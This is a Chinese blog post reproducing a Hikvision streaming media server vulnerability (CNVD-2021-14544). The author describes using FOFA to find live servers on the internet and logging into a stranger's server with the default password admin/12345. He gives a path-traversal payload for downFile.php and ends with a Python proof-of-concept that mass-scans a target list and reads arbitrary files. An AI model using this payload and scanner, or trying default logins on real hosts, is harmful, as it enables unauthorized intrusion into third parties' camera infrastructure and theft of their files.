大四的生活忙忙碌碌,在绿盟实习和忙毕设,让我划水A了半年,今天写一下最近申请零组文库邀请码,提交的复现文章叭.
贵有恒何必三更眠五更起,最无益只怕一日曝十日寒
话不多说,快上车。

海康威视流媒体管理服务器任意文件读取(CNVD-2021-14544)

1.漏洞说明

海康威视是以视频为核心的智能物联网解决方案和大数据服务提供商。

杭州海康威视系统技术有限公司流媒体管理服务器存在弱口令漏洞和任意文件读取漏洞,攻击者可利用该漏洞获取敏感信息。

2.影响版本

杭州海康威视数字技术股份有限公司 流媒体管理服务器 V2.3.5

3.漏洞复现

又是熟悉的面向搜索引擎测试

打开fofa搜索引擎:https://fofa.so/

Fofa搜索标题:title="流媒体管理服务器"

Java 海康门禁 主动获取设备事件 海康威视门禁服务器_漏洞复现


这个漏洞的突破点在于弱口令,默认的口令为admin/12345

登录到管理界面之后才能利用该漏洞进行任意文件读取.

首先打开fofa搜到的结果网站

Java 海康门禁 主动获取设备事件 海康威视门禁服务器_安全_02


通过弱口令admin/12345登录系统,这里猴子君试了7,8个网站,运气不错,遇到一个弱口令,登录进了管理界面.

Java 海康门禁 主动获取设备事件 海康威视门禁服务器_安全_03


看了一下,没有什么数据内容,应该是荒废已久的服务器.

选择左侧菜单栏中的维护管理-日志下载

Java 海康门禁 主动获取设备事件 海康威视门禁服务器_安全_04


这里可以看到下载功能,那么我们使用Burpsuite,设置代理,打开数据包拦截(intercept is on),然后再点击网站的下载按钮

Java 海康门禁 主动获取设备事件 海康威视门禁服务器_漏洞复现_05


这里的任意文件读取是在 fileName= 的后面.

修改fileName字段进行任意文件读取

Payload:

/systemLog/downFile.php?fileName=…/…/…/…/…/…/…/windows/system32/drivers/etc/hosts

点击BurpsuiteForward,发现Chrome浏览器自动将这个文件下载下来了

Java 海康门禁 主动获取设备事件 海康威视门禁服务器_web安全_06


查看一下下载的文件

Java 海康门禁 主动获取设备事件 海康威视门禁服务器_web安全_07


打开文件看一下内容

Java 海康门禁 主动获取设备事件 海康威视门禁服务器_服务器_08


确实是读取到了

下面附上大佬的POC(python):

# coding=utf-8
# CNVD-2021-14544
# 海康威视流媒体管理服务器任意文件读取
# Fofa:title="流媒体管理服务器"

import requests
import time
import urllib3
urllib3.disable_warnings()

def title():
        print("+-------------------------------------------------+")
        print("+-----------    CNVD-2021-14544   ----------------+")
        print("+-------   海康威视流媒体管理服务器任意文件读取   -----+")
        print("+--------  use: python3 CNVD-2021-14544.py -------+")
        print("+--------        Author: Henry4E36         -------+")
        print("+-------------------------------------------------+")

def target_url(url,filename):
    target_url = url + f"/systemLog/downFile.php?fileName=../../../../../../../{filename}"
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36"
    }

    try:
        res = requests.get(url=target_url,headers=headers,verify=False, timeout=5)
        if res.status_code == 200 and "window.history.back(-1)" in res.text:
            print("[----------------------------------------------]")
            print(f"[0]  目标系统: {url} 不存在该文件{filename}")
        elif res.status_code == 200:
            # 这里存在极大的误差,小heny不知道怎么判断了,有大佬知道的话可以交流哈 ^_^
            print("[----------------------------------------------]")
            print(f"\033[31m[!]  目标系统: {url} 存在任意文件读取!")
            print(f"[!] 正在读取文件:{filename} 中.......\033[0m")
            time.sleep(1)
            print(f"[-] 文件内容为:\n {res.text}")
        else:
            print("[----------------------------------------------]")
            print("[0] 目标系统连接失败!")

    except Exception as e:
        print("[----------------------------------------------]")
        print("[0]  目标系统出现意外情况!\n",e)


if __name__ == "__main__":
    title()
    filename = str(input("[-] 请输入需要读取的文件:\n"))
    with open("ip.txt","r") as urls:
        for url in urls:
            if url[:4] != "http":
                url = "http://" +url
            url = url.strip()
            target_url(url,filename)
    urls.close()